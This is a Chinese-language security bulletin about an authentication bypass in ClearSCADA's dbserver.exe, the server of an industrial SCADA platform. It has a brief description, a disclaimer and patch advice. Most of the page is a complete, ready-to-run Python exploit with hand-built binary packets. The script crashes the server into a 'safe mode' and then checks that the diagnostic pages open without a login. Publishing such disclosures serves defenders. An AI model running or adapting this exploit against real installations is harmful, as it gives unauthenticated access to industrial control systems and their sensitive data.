当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

ClearSCADA \'dbserver.exe\'远程身份验证绕过漏洞

     发表日期:2015-02-03 10:23:32

ClearSCADA \'dbserver.exe\'远程身份验证绕过漏洞
BugTraq-ID:72381
发布日期:2015-01-29
更新日期:2015-02-02
受影响系统:
ClearSCADA ClearSCADA 2010R1
详细信息:

ClearSCADA是集成的SCADA主机平台。

ClearSCADA 2010R1及其他版本在\'dbserver.exe\'bmg出现异常时,会进入安全模式,这可使远程用户无需有效登录即可访问诊断功能,在实现上存在远程身份验证绕过漏洞,攻击者可利用此漏洞绕过身份验证机制,获取敏感信息。


来源:
Jeremy Brown
参考信息:
http://www.exploit-db.com/exploits/35924/
测试方法:
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!#!/usr/bin/python
# cs-auby.py
# ClearSCADA Remote Authentication Bypass Exploit
#
# Jeremy Brown
# [jbrown3264/gmail]
#
# Oct 2010 (released Jan 2015)
#
# There is an authentication bypass vulnerability in ClearSCADA that can be
# exploited by triggering an exception in dbserver.exe and taking advantage
# of the way the program handles it.
#
# When an exception in occurs, ClearSCADA enters "Safe Mode". This exposes
# it\'s diagnostic functions to remote users without requiring a valid login
# as it would normally. A remote attacker could view senstive information
# and possibly modify functions of the server running on the affected host.
#
# This code triggers an exception in dbserver.exe and checks to see if you
# can then access the diagnostic page without authentication.
#
# Tested on ClearSCADA 2010R1 running on Windows
#
# Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01
#

import sys
import socket
import httplib
import urllib
from time import sleep

pkt_1=(
"\\xfb\\x0e\\x45\\x06\\x0e\\x00\\x00\\x00\\x18\\x00\\x00\\x00"
"\\x49\\x00\\x50\\x00\\x20\\x00\\x31\\x00\\x32\\x00\\x37\\x00\\x2e\\x00\\x30\\x00"
"\\x2e\\x00\\x30\\x00\\x2e\\x00\\x31\\x00\\x2c\\x00\\x20\\x00\\x53\\x00\\x65\\x00"
"\\x73\\x00\\x73\\x00\\x69\\x00\\x6f\\x00\\x6e\\x00\\x20\\x00\\x30\\x00\\x00\\x00"
"\\x08\\x00\\x00\\x00"
)

pkt_2=(
"\\x00\\x00\\x00\\x00"
"\\x26\\x00\\x00\\x00"
"\\x08\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x43\\x00\\x72\\x00\\x79\\x00\\x73\\x00"
"\\x74\\x00\\x61\\x00\\x6c\\x00\\x52\\x00\\x65\\x00\\x70\\x00\\x6f\\x00\\x72\\x00"
"\\x74\\x00\\x73\\x00\\x00\\x00"
)

pkt_3=( # "Exception Occured"
"\\x00\\x00\\x00\\x00\\xd7\\x01\\x00\\x00\\x34\\x00\\x00\\x00\\x0d\\x00\\x00\\x00"
"\\x09\\x00\\x00\\x00\\x43\\x00\\x50\\x00\\x72\\x00\\x6f\\x00\\x66\\x00\\x69\\x00"
"\\x6c\\x00\\x65\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x43\\x00\\x50\\x00\\x72\\x00"
"\\x6f\\x00\\x66\\x00\\x69\\x00\\x6c\\x00\\x65\\x00\\x46\\x00\\x6c\\x00\\x6f\\x00"
"\\x61\\x00\\x74\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x43\\x00\\x50\\x00\\x72\\x00"
"\\x6f\\x00\\x66\\x00\\x69\\x00\\x6c\\x00\\x65\\x00\\x55\\x00\\x4c\\x00\\x6f\\x00"
"\\x6e\\x00\\x67\\x00\\x00\\x00\\x0d\\x00\\x00\\x00\\x43\\x00\\x50\\x00\\x72\\x00"
"\\x6f\\x00\\x66\\x00\\x69\\x00\\x6c\\x00\\x65\\x00\\x4c\\x00\\x6f\\x00\\x6e\\x00"
"\\x67\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x43\\x00\\x41\\x00\\x64\\x00\\xBB\\x00" # last w0rd
"\\x00\\x42\\x00\\x49\\x00\\x54\\x00\\x56\\x00\\x61\\x00\\x6c\\x00\\x75\\x00\\x65"
"\\x00\\x4d\\x00\\x61\\x00\\x70\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x43\\x00\\x41"
"\\x00\\x64\\x00\\x76\\x00\\x42\\x00\\x59\\x00\\x54\\x00\\x45\\x00\\x56\\x00\\x61"
"\\x00\\x6c\\x00\\x75\\x00\\x65\\x00\\x4d\\x00\\x61\\x00\\x70\\x00\\x00\\x00\\x11"
"\\x00\\x00\\x00\\x43\\x00\\x41\\x00\\x64\\x00\\x76\\x00\\x57\\x00\\x4f\\x00\\x52"
"\\x00\\x44\\x00\\x56\\x00\\x61\\x00\\x6c\\x00\\x75\\x00\\x65\\x00\\x4d\\x00\\x61"
"\\x00\\x70\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x43\\x00\\x41\\x00\\x64\\x00\\x76"
"\\x00\\x44\\x00\\x49\\x00\\x4e\\x00\\x54\\x00\\x56\\x00\\x61\\x00\\x6c\\x00\\x75"
"\\x00\\x65\\x00\\x4d\\x00\\x61\\x00\\x70\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x43"
"\\x00\\x41\\x00\\x64\\x00\\x76\\x00\\x55\\x00\\x44\\x00\\x49\\x00\\x4e\\x00\\x54"
"\\x00\\x56\\x00\\x61\\x00\\x6c\\x00\\x75\\x00\\x65\\x00\\x4d\\x00\\x61\\x00\\x70"
"\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x43\\x00\\x41\\x00\\x64\\x00\\x76\\x00\\x52"
"\\x00\\x45\\x00\\x41\\x00\\x4c\\x00\\x56\\x00\\x61\\x00\\x6c\\x00\\x75\\x00\\x65"
"\\x00\\x4d\\x00\\x61\\x00\\x70\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x43\\x00\\x41"
"\\x00\\x64\\x00\\x76\\x00\\x44\\x00\\x4f\\x00\\x55\\x00\\x42\\x00\\x4c\\x00\\x45"
"\\x00\\x56\\x00\\x61\\x00\\x6c\\x00\\x75\\x00\\x65\\x00\\x4d\\x00\\x61\\x00\\x70"
"\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x43\\x00\\x41\\x00\\x64\\x00\\x76\\x00\\x53"
"\\x00\\x74\\x00\\x72\\x00\\x69\\x00\\x6e\\x00\\x67\\x00\\x56\\x00\\x61\\x00\\x6c"
"\\x00\\x75\\x00\\x65\\x00\\x4d\\x00\\x61\\x00\\x70\\x00\\x00\\x00\\x0f\\x00\\x00"
"\\x00\\x43\\x00\\x43\\x00\\x72\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x61\\x00\\x6c"
"\\x00\\x52\\x00\\x65\\x00\\x70\\x00\\x6f\\x00\\x72\\x00\\x74\\x00\\x00\\x00\\x00"
)

port=5481
s_port=443


def do_ssl(target,port):
try:
conn = httplib.HTTPSConnection(target,port)
conn._http_vsn = 10
conn._http_vsn_str = "HTTP/1.0"

conn.request("GET","/diag/Info")

resp = conn.getresponse()
conn.close()

except Exception, error:
print("Error: %s" % error)
return None

return resp


def main():

if len(sys.argv)!=2:
print("Usage: %s <target>" % sys.argv[0])
sys.exit(0)

target=sys.argv[1]
cs=target,port

print "Checking server status..."

resp = do_ssl(target,s_port)

if(resp == None):
return

if(resp.status==301):
print "Server status is normal.\\n"

elif(resp.status==200):
print "Server is already in safe mode."
sys.exit(1)

elif((resp.status!=301)|(resp.status!=200)):
print("Server returned %d %s, server state unknown.\\nContinuing anyways..\\n" % (resp.status,resp.reason))

print("Sending packets to trigger exception...\\n")

try:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(cs)

sock.send(pkt_1)
resp_1 = sock.recv(32)

sock.send(pkt_2)
resp_2 = sock.recv(32)

sock.send(pkt_3)
resp_3 = sock.recv(32)

sock.close()

except Exception, error:
print("Error: %s" % error)
return None

print("Finished, checking server status again...")

sleep(1)

resp = do_ssl(target,s_port)

if(resp == None):
return

if(resp.status==301):
print("Server status is still normal, maybe it\'s patched..\\n")

elif(resp.status==200):
print("Server entered \\"safe\\" mode :)\\n")
print("Surf on over to https://%s:443/diag/Info to explore" % target)

elif((resp.status!=301)|(resp.status!=200)):
print("Server returned %d %s, server state unknown." % (resp.status,resp.reason))


if __name__ == "__main__":
main()
解决办法:
厂商补丁:

ClearSCADA
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.clearscada.com/